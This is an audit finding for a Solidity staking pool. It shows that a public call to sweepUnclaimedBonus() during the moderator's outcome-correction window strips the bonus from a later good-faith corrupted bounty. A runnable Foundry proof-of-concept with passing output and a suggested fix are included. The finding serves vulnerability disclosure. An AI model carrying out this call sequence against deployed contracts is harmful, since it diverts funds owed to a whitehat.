Root + Impact
Description
-
Normal behavior: flagOutcome() allows the moderator to correct a previously flagged outcome before any claim has started. For good-faith CORRUPTED, the named attacker should receive a bounty equal to the corrected snapshot of staked principal plus accounted bonus.
-
The issue: sweepUnclaimedBonus() can move accounted bonus out of the pool during the same pre-claim correction window without setting claimsStarted. A public caller can sweep tracked bonus after an initial SURVIVED flag, then the moderator can still correct to good-faith CORRUPTED, but the corrected bounty is computed from the depleted totalBonus.
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
@> if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (newOutcome == PoolStates.Outcome.SURVIVED) {
if (goodFaith_ || attacker_ != address(0)) {
revert InvalidGoodFaithParams();
}
@> if (state != IAttackRegistry.ContractState.PRODUCTION && state != IAttackRegistry.ContractState.CORRUPTED) {
revert InvalidOutcome();
}
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
...
}
bool willBeGoodFaithCorrupted = newOutcome == PoolStates.Outcome.CORRUPTED && goodFaith_;
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
@> snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
...
}
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
@> if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus;
@> }
@>
@> stakeToken.safeTransfer(recoveryAddress, amount);
}
Risk
Likelihood:
-
Occurs when the moderator first flags SURVIVED while the live registry is already CORRUPTED, leaving the outcome inside the pre-claim correction window.
-
Occurs when the pool has tracked bonus with zero eligible stake, or no observed risk window, making the bonus unreserved and sweepable before the correction.
Impact:
-
A public caller can reduce or eliminate the bonus component of a later corrected good-faith corrupted bounty.
-
In a bonus-only pool, the corrected bountyEntitlement can become zero even though the pool held tracked bonus before the public sweep.
Proof of Concept
PoC command:
forge test --offline --match-path test/poc/BonusSweepBeforeGoodFaithCorrectionPoC.t.sol
Complete runnable PoC:
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract BonusSweepBeforeGoodFaithCorrectionPoC is BaseConfidencePoolTest {
function testPoC_bonusSweepRemovesValueFromLaterGoodFaithCorrection() external {
address protocol = recovery;
address whitehat = attacker;
address bonusContributor = carol;
address publicCaller = dave;
uint256 bonus = 50 * ONE;
_contributeBonus(bonusContributor, bonus);
assertEq(pool.totalBonus(), bonus, "setup: tracked bonus funded");
assertEq(pool.totalEligibleStake(), 0, "setup: no stakers");
assertEq(token.balanceOf(address(pool)), bonus, "setup: pool holds the bonus");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "setup: wrong outcome still correctable");
assertFalse(pool.claimsStarted(), "setup: correction window is open");
vm.prank(publicCaller);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(protocol), bonus, "attack: tracked bonus was swept to recovery");
assertEq(pool.totalBonus(), 0, "attack: tracked bonus accounting was depleted");
assertEq(token.balanceOf(address(pool)), 0, "attack: no bonus remains in the pool");
assertFalse(pool.claimsStarted(), "attack: sweep did not close the correction window");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "correction: outcome changed to corrupted");
assertEq(pool.bountyEntitlement(), 0, "impact: corrected bounty excludes swept bonus");
vm.prank(whitehat);
vm.expectRevert();
pool.claimAttackerBounty();
}
}
Full output:
Compiling 64 files with Solc 0.8.26
Solc 0.8.26 finished in 5.51s
Compiler run successful!
Ran 1 test for test/poc/BonusSweepBeforeGoodFaithCorrectionPoC.t.sol:BonusSweepBeforeGoodFaithCorrectionPoC
[PASS] testPoC_bonusSweepRemovesValueFromLaterGoodFaithCorrection() (gas: 320729)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 710.63µs (141.08µs CPU time)
Ran 1 test suite in 1.44ms (710.63µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
function sweepUnclaimedBonus() external nonReentrant {
...
if (totalEligibleStake == 0 || riskWindowStart == 0) {
+ claimsStarted = true;
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
- // Intentionally does NOT set claimsStarted.
stakeToken.safeTransfer(recoveryAddress, amount);
}
Alternatively, prevent destructive bonus sweeps while the outcome is still correctable, or track swept accounted bonus separately and include it in a later good-faith CORRUPTED correction.
